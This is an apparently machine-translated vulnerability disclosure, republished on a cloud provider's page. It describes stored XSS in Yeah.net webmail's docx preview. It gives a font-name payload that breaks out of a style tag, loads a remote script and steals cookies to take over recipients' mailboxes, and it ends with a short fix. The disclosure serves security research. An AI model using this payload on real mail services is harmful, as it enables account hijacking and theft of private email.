Yeah.net email storage XSS can hijack others' accounts

Source: Internet
Author: User

Yeah.net email storage XSS can hijack others' accounts

First, the problem lies in the attachment Preview (currently, the mailbox body is filtered almost ), attachment preview: If you preview files of the doc docx type, Microsoft's Online Preview Technology (high-definition version) and yongzhong software preview Technology (quick version) will be used)


Microsoft's Online Preview technology uses Embedding content into an image to render an image for users to see. It takes time and bandwidth to load the image (no wonder it is called the HD version)

However, the yongzhong software is relatively normal, that is, to get the content and then render it to html, which is faster, and the bandwidth does not need to be too much, just like browsing the Web page.

So now the question is, Microsoft's Online Preview technology should be more mature, so it just gave up. What about the other one?

Send a docx file and then preview the file to find that the font is output in the style label.
 



What if a malicious payload is included in the font?

Actually, it will be filtered out. If you close the style label directly, it will become like this:

</Style> <script> ---> \ 60;/style \ 62; \ 60; script \ 62;

I used payload as the value for encoding, so I can't go through it. No is fun.

We only need one; number to end the font-family.

Then you can:

} </Style> <script> in this case} Will be encoded as font-family: \ 125; then we have a; number and then we can write payload.

The final payload is as follows (due to the word count problem, it is divided into two segments ):

} </Style> <script src = // km3pw>

} </Script>

Set the above two paragraphs to the font in the Word document.

For example, 1. xsss --> font equals} </style> <script src = // km3pw>

2. csrf --> font equals} </script>


 


 





And then send it to others for preview:
 




 


After obtaining the cookie, it is found that some cookies cannot be obtained even though the httponly attribute exists.

However, you can log on to the recipient's mailbox with the obtained cookie.
 

Solution:

Set httponly for filtering key cookie fields of dangerous characters

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.